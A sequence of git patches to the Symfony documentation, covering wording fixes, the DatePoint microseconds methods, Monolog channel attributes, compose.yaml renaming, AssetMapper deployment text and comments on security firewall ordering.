 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 6e0fcf746e2..c3bf0bae1b2 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -28,7 +28,7 @@ truly extensible.
 Take an example from :doc:`the HttpKernel component </components/http_kernel>`.
 Once a ``Response`` object has been created, it may be useful to allow other
 elements in the system to modify it (e.g. add some cache headers) before
-it's actually used. To make this possible, the Symfony kernel throws an
+it's actually used. To make this possible, the Symfony kernel dispatches an
 event - ``kernel.response``. Here's how it works:
 
 * A *listener* (PHP object) tells a central *dispatcher* object that it

From 3dd28c0de085154c76848717267ade1ae6f09d4e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 26 Feb 2024 09:08:27 +0100
Subject: [PATCH 4493/5766] [Clock] Introduce `get/setMicroseconds()`

---
 components/clock.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index b803c78e29d..d3879fba84e 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -235,6 +235,23 @@ The constructor also allows setting a timezone or custom referenced date::
     error handling across versions of PHP, thanks to polyfilling `PHP 8.3's behavior`_
     on the topic.
 
+``DatePoint`` also allows to set and get the microsecond part of the date and time::
+
+    $datePoint = new DatePoint();
+    $datePoint->setMicroseconds(345);
+    $microseconds = $datePoint->getMicroseconds();
+
+.. note::
+
+    This feature polyfills PHP 8.4's behavior on the topic, as microseconds manipulation
+    is not available in previous versions of PHP.
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\Clock\\DatePoint::setMicroseconds` and
+    :method:`Symfony\\Component\\Clock\\DatePoint::getMicroseconds` methods were
+    introduced in Symfony 7.1.
+
 .. _clock_writing-tests:
 
 Writing Time-Sensitive Tests

From c2b97715f684ef19b9ecd4f637d6edfd7a283c9c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 26 Feb 2024 09:18:49 +0100
Subject: [PATCH 4494/5766] [Monolog] Mention `#[WithMonologChannel]`

---
 .doctor-rst.yaml              |  1 +
 logging/channels_handlers.rst | 31 +++++++++++++++++++++++++++++++
 2 files changed, 32 insertions(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index c61210111a0..77e07cef699 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -104,5 +104,6 @@ whitelist:
         - '.. versionadded:: 0.2' # MercureBundle
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle
+        - '.. versionadded:: 3.5' # Monolog
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index b2d4f31ad77..387e25a59f4 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -194,4 +194,35 @@ change your constructor like this:
             $this->logger = $fooBarLogger;
         }
 
+Configure Logger Channels with Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Starting from `Monolog`_ 3.5 you can also configure the logger channel
+by using the ``#[WithMonologChannel]`` attribute directly on your service
+class::
+
+    // src/Service/MyFixtureService.php
+    namespace App\Service;
+
+    use Monolog\Attribute\WithMonologChannel;
+    use Psr\Log\LoggerInterface;
+    use Symfony\Bridge\Monolog\Logger;
+
+    #[WithMonologChannel('fixtures')]
+    class MyFixtureService
+    {
+        public function __construct(LoggerInterface $logger)
+        {
+            // ...
+        }
+    }
+
+This way you can avoid declaring your service manually to use a specific
+channel.
+
+.. versionadded:: 3.5
+
+    The ``#[WithMonologChannel]`` attribute was introduced in Monolog 3.5.0.
+
 .. _`MonologBundle`: https://github.com/symfony/monolog-bundle
+.. _`Monolog`: https://github.com/Seldaek/monolog

From 13d7707217af4496d0843c3cc2096d7f27967d30 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 07:48:51 +0100
Subject: [PATCH 4495/5766] Update http_kernel.rst

---
 components/http_kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 17ea754b70c..23d3654d721 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -489,7 +489,7 @@ as possible to the client (e.g. sending emails).
 
 .. _component-http-kernel-kernel-exception:
 
-Handling Exceptions: the ``kernel.exception`` Event
+9) Handling Exceptions: the ``kernel.exception`` Event
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **Typical Purposes**: Handle some type of exception and create an appropriate

From 6ccf8b01c03c214264fd3cb84030721fdefd0f77 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Feb 2024 12:05:14 +0100
Subject: [PATCH 4496/5766] Tweaks

---
 components/http_kernel.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index a761a97e42d..ba20039ba79 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -15,8 +15,10 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
-The Full Flow of a Request-Response lifecycle
----------------------------------------------
+.. _the-workflow-of-a-request:
+
+The Request-Response Lifecycle
+------------------------------
 
 .. seealso::
 
@@ -29,7 +31,7 @@ The Full Flow of a Request-Response lifecycle
 Every HTTP web interaction begins with a request and ends with a response.
 Your job as a developer is to create PHP code that reads the request information
 (e.g. the URL) and creates and returns a response (e.g. an HTML page or JSON string).
-This is a simplified overview of the request to response flow in Symfony applications:
+This is a simplified overview of the request-response lifecycle in Symfony applications:
 
 #. The **user** asks for a **resource** in a **browser**;
 #. The **browser** sends a **request** to the **server**;
@@ -66,7 +68,7 @@ that system::
 
 Internally, :method:`HttpKernel::handle() <Symfony\\Component\\HttpKernel\\HttpKernel::handle>` -
 the concrete implementation of :method:`HttpKernelInterface::handle() <Symfony\\Component\\HttpKernel\\HttpKernelInterface::handle>` -
-defines a process flow that starts with a :class:`Symfony\\Component\\HttpFoundation\\Request`
+defines a lifecycle that starts with a :class:`Symfony\\Component\\HttpFoundation\\Request`
 and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
 
 .. raw:: html
@@ -75,7 +77,7 @@ and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
         alt="A flow diagram showing all HTTP Kernel events in the Request-Response lifecycle. Each event is numbered 1 to 8 and described in detail in the following subsections."
     ></object>
 
-The exact details of this flow are the key to understanding how the kernel
+The exact details of this lifecycle are the key to understanding how the kernel
 (and the Symfony Framework or any other library that uses the kernel) works.
 
 HttpKernel: Driven by Events

From f018c09dc2b18ec9a619f5bd8fb93c7eae931b29 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Feb 2024 12:19:38 +0100
Subject: [PATCH 4497/5766] Replace old docker compose filename

---
 .doctor-rst.yaml         |  1 -
 setup/docker.rst         |  2 +-
 setup/symfony_server.rst | 12 ++++++------
 3 files changed, 7 insertions(+), 8 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index c61210111a0..93eb40d51f2 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -88,7 +88,6 @@ whitelist:
     regex:
         - '/FOSUserBundle(.*)\.yml/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
-        - /docker-compose\.yml/
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
         - '#. The most important config file is ``app/config/services.yml``, which now is'
diff --git a/setup/docker.rst b/setup/docker.rst
index 63da416e7bf..c00192e08d4 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -19,7 +19,7 @@ Flex Recipes & Docker Configuration
 
 The :ref:`Flex recipe <symfony-flex>` for some packages also include Docker configuration.
 For example, when you run ``composer require doctrine`` (to get ``symfony/orm-pack``),
-your ``docker-compose.yml`` file will automatically be updated to include a
+your ``compose.yaml`` file will automatically be updated to include a
 ``database`` service.
 
 The first time you install a recipe containing Docker config, Flex will ask you
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c6b817ebdb5..6c666a7ad2e 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -388,7 +388,7 @@ Consider the following configuration:
 
 .. code-block:: yaml
 
-    # docker-compose.yaml
+    # compose.yaml
     services:
         database:
             ports: [3306]
@@ -401,12 +401,12 @@ variables accordingly with the service name (``database``) as a prefix:
 If the service is not in the supported list below, generic environment
 variables are set: ``PORT``, ``IP``, and ``HOST``.
 
-If the ``docker-compose.yaml`` names do not match Symfony's conventions, add a
+If the ``compose.yaml`` names do not match Symfony's conventions, add a
 label to override the environment variables prefix:
 
 .. code-block:: yaml
 
-    # docker-compose.yaml
+    # compose.yaml
     services:
         db:
             ports: [3306]
@@ -471,7 +471,7 @@ check the "Symfony Server" section in the web debug toolbar; you'll see that
 
     .. code-block:: yaml
 
-        # docker-compose.yaml
+        # compose.yaml
         services:
             db:
                 ports: [3306]
@@ -485,10 +485,10 @@ its location, same as for ``docker-compose``:
 .. code-block:: bash
 
     # start your containers:
-    COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d
+    COMPOSE_FILE=docker/compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d
 
     # run any Symfony CLI command:
-    COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export
+    COMPOSE_FILE=docker/compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export
 
 .. note::
 

From 4c03d572625bf5e579df30581e2b09334c50255f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 26 Feb 2024 13:26:55 +0100
Subject: [PATCH 4498/5766] [AssetMapper] Shortening "Optimizing Performance"

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#optimizing-performance
---
 frontend/asset_mapper.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c8febf65757..108e896147f 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -631,27 +631,25 @@ To make your AssetMapper-powered site fly, there are a few things you need to
 do. If you want to take a shortcut, you can use a service like `Cloudflare`_,
 which will automatically do most of these things for you:
 
-- **Use HTTP/2**: Your web server **must** be running HTTP/2 (or HTTP/3) so the
+- **Use HTTP/2**: Your web server should be running HTTP/2 (or HTTP/3) so the
   browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy
-  and can be activated in Nginx and Apache. Or, proxy your site through a
-  service like Cloudflare, which will automatically enable HTTP/2 for you.
+  and can be activated in Nginx and Apache.
 
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  Or, proxy your site through a service like Cloudflare, which will
-  automatically compress your assets for you. In Cloudflare, you can also
+  In Cloudflare, you can also
   enable `auto minify`_ to further compress your assets (e.g. removing
   whitespace and comments from JavaScript and CSS files).
 
 - **Set long-lived Expires headers**: Your web server should set long-lived
-  Expires headers on your assets. Because the AssetMapper component includes a version
-  hash in the filename of each asset, you can safely set the Expires header
+  ``Expires`` HTTP headers on your assets. Because the AssetMapper component includes a version
+  hash in the filename of each asset, you can safely set the ``Expires`` header
   to a very long time in the future (e.g. 1 year). This isn't automatic in
   any web server, but can be easily enabled.
 
 Once you've done these things, you can use a tool like `Lighthouse`_ to
-validate the performance of your site!
+check the performance of your site.
 
 .. _performance-preloading:
 

From 657ba77f68175293cbbabd2c789ddc9e89d44cb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Feb 2024 13:33:08 +0100
Subject: [PATCH 4499/5766] Minor fix

---
 setup/upgrade_major.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 13f6feab6d1..13f839f36e1 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -213,7 +213,7 @@ included in the Symfony repository for any BC break that you need to be aware of
 Upgrading to Symfony 6: Add Native Return Types
 -----------------------------------------------
 
-Symfony 6 and Symfony 6 have come with native PHP return types to (almost all) methods.
+Symfony 6 and Symfony 7 added native PHP return types to (almost all) methods.
 
 In PHP, if the parent has a return type declaration, any class implementing
 or overriding the method must have the return type as well. However, you

From fcfc92e74620b1d4ac8285e41e3aa6a108e5669c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 26 Feb 2024 17:28:40 +0100
Subject: [PATCH 4500/5766] [AssetMapper] Removing PostCSS

Page: https://symfony.com/doc/6.4/frontend.html

Sorry for the back-and-forth!
2 reasons for deleting again:
* I was thinking that PostCSS is some de-facto standard, but it isn't
* It's odd to "recommend" something for CSS, but nothing for JS.

I just suggested to integrate minifying into AssetMapper: https://github.com/symfony/symfony/issues/54070
---
 frontend.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index d62c4dedde5..9e96c5e7dc4 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -35,7 +35,7 @@ Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
 Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
 Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no                                  yes
-Removes comments from CSS         no :ref:`[2] <ux-note-2>`           no :ref:`[2] <ux-note-2>`
+Removes comments from CSS         no                                  no
 Versioned assets                  always                              optional
 ================================  ==================================  ==========
 
@@ -46,10 +46,6 @@ need to use their native tools for pre-compilation. Also, some features (like
 Vue single-file components) cannot be compiled down to pure JavaScript that can
 be executed by a browser.
 
-.. _ux-note-2:
-
-**[2]** There are some `PostCSS`_ plugins available to remove comments from CSS files.
-
 .. _frontend-asset-mapper:
 
 AssetMapper (Recommended)

From 0d7c42a6815d4473cd026a039d012805429d986c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Feb 2024 13:20:24 +0100
Subject: [PATCH 4501/5766] Fix syntax issues

---
 components/http_kernel.rst | 2 +-
 frontend.rst               | 1 -
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 65120081399..9104a9f7b6e 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -511,7 +511,7 @@ as possible to the client (e.g. sending emails).
 .. _component-http-kernel-kernel-exception:
 
 9) Handling Exceptions: the ``kernel.exception`` Event
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **Typical Purposes**: Handle some type of exception and create an appropriate
 ``Response`` to return for the exception
diff --git a/frontend.rst b/frontend.rst
index 9e96c5e7dc4..afc5edff8e3 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -111,4 +111,3 @@ Other Front-End Articles
 .. _`Turbo`: https://turbo.hotwired.dev/
 .. _`Symfony UX`: https://ux.symfony.com
 .. _`API Platform`: https://api-platform.com/
-.. _`PostCSS`: https://postcss.org/

From 47a08f2ac1addf25626958b7aa25b21622788fbb Mon Sep 17 00:00:00 2001
From: bizmate <diego_gullo@bizmate.biz>
Date: Wed, 28 Feb 2024 02:05:12 +0400
Subject: [PATCH 4502/5766] add comments in firewall configuration of
 security.rst to make the firewall precedence more explicit

---
 security.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security.rst b/security.rst
index b1a7b852c5c..b1ddffdce1a 100644
--- a/security.rst
+++ b/security.rst
@@ -511,6 +511,8 @@ will be able to authenticate (e.g. login form, API token, etc).
                 dev:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
+                    # add a new firewall here with a specific pattern, the first firewall matched by pattern will be
+                    # executed, if a firewall has no pattern it will match all requests and the others will be skipped
                 main:
                     lazy: true
                     provider: users_in_memory

From e56209eeb3fe0a1a57e695307e786ae5c083c338 Mon Sep 17 00:00:00 2001
From: Andreas Erhard <developer@andaris.at>
Date: Wed, 28 Feb 2024 11:14:30 +0100
Subject: [PATCH 4503/5766] Fix typo

---
 contributing/code/bc.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 3caf969c432..3a4f16c5208 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -496,42 +496,42 @@ If that's the case, here is how to do it properly in a minor version:
 #. Add the argument as a comment in the signature::
 
     // the new argument can be optional
-    public function say(string $text, /* bool $stripWithespace = true */): void
+    public function say(string $text, /* bool $stripWhitespace = true */): void
     {
     }
 
     // or required
-    public function say(string $text, /* bool $stripWithespace */): void
+    public function say(string $text, /* bool $stripWhitespace */): void
     {
     }
 
 #. Document the new argument in a PHPDoc::
 
     /**
-     * @param bool $stripWithespace
+     * @param bool $stripWhitespace
      */
 
 #. Use ``func_num_args`` and ``func_get_arg`` to retrieve the argument in the
    method::
 
-        $stripWithespace = 2 <= \func_num_args() ? func_get_arg(1) : false;
+        $stripWhitespace = 2 <= \func_num_args() ? func_get_arg(1) : false;
 
    Note that the default value is ``false`` to keep the current behavior.
 
 #. If the argument has a default value that will change the current behavior,
    warn the user::
 
-    trigger_deprecation('symfony/COMPONENT', 'X.Y', 'Not passing the "bool $stripWithespace" argument explicitly is deprecated, its default value will change to X in Z.0.');
+    trigger_deprecation('symfony/COMPONENT', 'X.Y', 'Not passing the "bool $stripWhitespace" argument explicitly is deprecated, its default value will change to X in Z.0.');
 
 #. If the argument has no default value, warn the user that is going to be
    required in the next major version::
 
     if (\func_num_args() < 2) {
-        trigger_deprecation('symfony/COMPONENT', 'X.Y', 'The "%s()" method will have a new "bool $stripWithespace" argument in version Z.0, not defining it is deprecated.', __METHOD__);
+        trigger_deprecation('symfony/COMPONENT', 'X.Y', 'The "%s()" method will have a new "bool $stripWhitespace" argument in version Z.0, not defining it is deprecated.', __METHOD__);
 
-        $stripWithespace = false;
+        $stripWhitespace = false;
     } else {
-        $stripWithespace = func_get_arg(1);
+        $stripWhitespace = func_get_arg(1);
     }
 
 #. In the next major version (``X.0``), uncomment the argument, remove the

From 25eac32f051fc719e6ec501594bd6f65c5d156d7 Mon Sep 17 00:00:00 2001
From: Thomas Lemaire <thomas-l@users.noreply.github.com>
Date: Fri, 23 Feb 2024 13:46:49 +0100
Subject: [PATCH 4504/5766] create_new_console option only on Windows

---
 components/process.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/process.rst b/components/process.rst
index c3a289645e9..e0ab976b167 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -104,6 +104,10 @@ Configuring Process Options
 
     The feature to configure process options was introduced in Symfony 5.2.
 
+.. caution::
+
+    Windows only
+
 Symfony uses the PHP :phpfunction:`proc_open` function to run the processes.
 You can configure the options passed to the ``other_options`` argument of
 ``proc_open()`` using the ``setOptions()`` method::

From c9e0e9235fac0acba2b69e5d63407453aa817044 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Feb 2024 17:13:30 +0100
Subject: [PATCH 4505/5766] Reword

---
 components/process.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index e0ab976b167..163df6d9fdb 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -104,10 +104,6 @@ Configuring Process Options
 
     The feature to configure process options was introduced in Symfony 5.2.
 
-.. caution::
-
-    Windows only
-
 Symfony uses the PHP :phpfunction:`proc_open` function to run the processes.
 You can configure the options passed to the ``other_options`` argument of
 ``proc_open()`` using the ``setOptions()`` method::
@@ -116,6 +112,12 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
+.. caution::
+
+    Most of the options defined by ``proc_open()`` (such as ``create_new_console``
+    and ``suppress_errors``) are only supported on Windows operating systems.
+    Check out the `PHP documentation for proc_open()`_ before using them.
+
 Using Features From the OS Shell
 --------------------------------
 
@@ -574,3 +576,4 @@ whether `TTY`_ is supported on the current operating system::
 .. _`PHP streams`: https://www.php.net/manual/en/book.stream.php
 .. _`output_buffering`: https://www.php.net/manual/en/outcontrol.configuration.php
 .. _`TTY`: https://en.wikipedia.org/wiki/Tty_(unix)
+.. _`PHP documentation for proc_open()`: https://www.php.net/manual/en/function.proc-open.php

From c804e76e740768c09d9c635ae37799ae2a73456d Mon Sep 17 00:00:00 2001
From: Kik Minev <kokominev@yahoo.com>
Date: Wed, 28 Feb 2024 18:15:14 +0200
Subject: [PATCH 4506/5766] Fix wrong form name

---
 form/dynamic_form_modification.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 9ddeb1bc1b1..72acc7eee0d 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -546,7 +546,7 @@ field according to the current selection in the ``sport`` field:
 .. code-block:: html+twig
 
     {# templates/meetup/create.html.twig #}
-    {{ form_start(form, { attr: { id: 'supply_history_form' } }) }}
+    {{ form_start(form, { attr: { id: 'sport_meetup_form' } }) }}
         {{ form_row(form.sport) }}    {# <select id="meetup_sport" ... #}
         {{ form_row(form.position) }} {# <select id="meetup_position" ... #}
         {# ... #}

From e16d286f3f5ff2c0bd7811b4fa95ca492e212765 Mon Sep 17 00:00:00 2001
From: Vimal Gorasiya <vimalgorasiya7@gmail.com>
Date: Wed, 28 Feb 2024 14:36:56 +0530
Subject: [PATCH 4507/5766] Update routing.rst

---
 routing.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index af3d0d5f6e7..0c3c99c0381 100644
--- a/routing.rst
+++ b/routing.rst
@@ -176,7 +176,9 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
         // src/Controller/BlogApiController.php
         namespace App\Controller;
 
-        // ...
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
 
         class BlogApiController extends AbstractController
         {

From 8c14b05180f0270a8cfa110ec040cb4fbfbd7a57 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Feb 2024 12:20:22 +0100
Subject: [PATCH 4508/5766] Reword

---
 components/http_kernel.rst |  2 +-
 security.rst               | 10 ++++++++--
 2 files changed, 9 insertions(+), 3 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index ba20039ba79..5023169e680 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -492,7 +492,7 @@ as possible to the client (e.g. sending emails).
 .. _component-http-kernel-kernel-exception:
 
 9) Handling Exceptions: the ``kernel.exception`` Event
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **Typical Purposes**: Handle some type of exception and create an appropriate
 ``Response`` to return for the exception
diff --git a/security.rst b/security.rst
index b1ddffdce1a..ef3b6d1bd98 100644
--- a/security.rst
+++ b/security.rst
@@ -508,11 +508,11 @@ will be able to authenticate (e.g. login form, API token, etc).
         security:
             # ...
             firewalls:
+                # the order in which firewalls are defined is very important, as the
+                # request will be handled by the first firewall whose pattern matches
                 dev:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
-                    # add a new firewall here with a specific pattern, the first firewall matched by pattern will be
-                    # executed, if a firewall has no pattern it will match all requests and the others will be skipped
                 main:
                     lazy: true
                     provider: users_in_memory
@@ -537,6 +537,9 @@ will be able to authenticate (e.g. login form, API token, etc).
 
             <config>
                 <!-- ... -->
+
+                <!-- the order in which firewalls are defined is very important, as the
+                     request will be handled by the first firewall whose pattern matches -->
                 <firewall name="dev"
                     pattern="^/(_(profiler|wdt)|css|images|js)/"
                     security="false"/>
@@ -559,6 +562,9 @@ will be able to authenticate (e.g. login form, API token, etc).
 
         return static function (SecurityConfig $security) {
             // ...
+
+            // the order in which firewalls are defined is very important, as the
+            // request will be handled by the first firewall whose pattern matches
             $security->firewall('dev')
                 ->pattern('^/(_(profiler|wdt)|css|images|js)/')
                 ->security(false)

From 8e2d9501e0e1ecb68f0538e30cb62efc00ff5509 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Feb 2024 12:26:22 +0100
Subject: [PATCH 4509/5766] [Security] Added a missing comment in the firewall
 config example

---
 security.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/security.rst b/security.rst
index ef3b6d1bd98..6f07153cc3c 100644
--- a/security.rst
+++ b/security.rst
@@ -513,6 +513,7 @@ will be able to authenticate (e.g. login form, API token, etc).
                 dev:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
+                # a firewall with no pattern should be defined last because it will match all requests
                 main:
                     lazy: true
                     provider: users_in_memory
@@ -544,6 +545,7 @@ will be able to authenticate (e.g. login form, API token, etc).
                     pattern="^/(_(profiler|wdt)|css|images|js)/"
                     security="false"/>
 
+                <!-- a firewall with no pattern should be defined last because it will match all requests -->
                 <firewall name="main"
                     lazy="true"/>
 
@@ -570,6 +572,7 @@ will be able to authenticate (e.g. login form, API token, etc).
                 ->security(false)
             ;
 
+            // a firewall with no pattern should be defined last because it will match all requests
             $security->firewall('main')
                 ->lazy(true)
 

From 22e3745586f3bb59931425cb0001240433728d26 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 29 Feb 2024 11:57:53 +0100
Subject: [PATCH 4510/5766] [AssetMapper] Deleting duplicated info

---
 frontend/asset_mapper.rst | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c8febf65757..94eb911b20a 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -608,19 +608,15 @@ is being built, which you can ignore.
 Deploying with the AssetMapper Component
 ----------------------------------------
 
-When you're ready to deploy, "compile" your assets during deployment:
+When you're ready to deploy, "compile" your assets:
 
 .. code-block:: terminal
 
     $ php bin/console asset-map:compile
 
-That's it! This will write all your assets into the ``public/assets/`` directory,
-along with a few JSON files so that the ``importmap`` can be rendered lightning fast.
-
-But to make sure your site is performant, be sure that your web server
-(or a proxy) is running HTTP/2, is compressing your assets and setting
-long-lived Expires headers on them. See :ref:`Optimization <optimization>` for
-more details.
+This will write all your versioned asset files into the ``public/assets/`` directory,
+along with a few JSON files: ``manifest.json``, ``importmap.json``, plus one ``entrypoint.<name>.json``
+for each entrypoint.
 
 .. _optimization:
 

From ef2c3b235fcc93b416b07b0020b420abb7c60a4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Feb 2024 13:10:55 +0100
Subject: [PATCH 4511/5766] Minor tweaks

---
 frontend/asset_mapper.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 94eb911b20a..cecaed7352c 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -608,15 +608,15 @@ is being built, which you can ignore.
 Deploying with the AssetMapper Component
 ----------------------------------------
 
-When you're ready to deploy, "compile" your assets:
+When you're ready to deploy, "compile" your assets by running this command:
 
 .. code-block:: terminal
 
     $ php bin/console asset-map:compile
 
 This will write all your versioned asset files into the ``public/assets/`` directory,
-along with a few JSON files: ``manifest.json``, ``importmap.json``, plus one ``entrypoint.<name>.json``
-for each entrypoint.
+along with a few JSON files (``manifest.json``, ``importmap.json``, etc.) so that
+the ``importmap`` can be rendered lightning fast.
 
 .. _optimization:
 

From b3534c7da9551b8d6b2dbd45660cb2a5689e09fc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Feb 2024 13:18:39 +0100
Subject: [PATCH 4512/5766] Revert some changes

---
 frontend/asset_mapper.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 783933596b9..26b0ab7a8be 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -629,12 +629,14 @@ which will automatically do most of these things for you:
 
 - **Use HTTP/2**: Your web server should be running HTTP/2 (or HTTP/3) so the
   browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy
-  and can be activated in Nginx and Apache.
+  and can be activated in Nginx and Apache. Or, proxy your site through a
+  service like Cloudflare, which will automatically enable HTTP/2 for you.
 
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
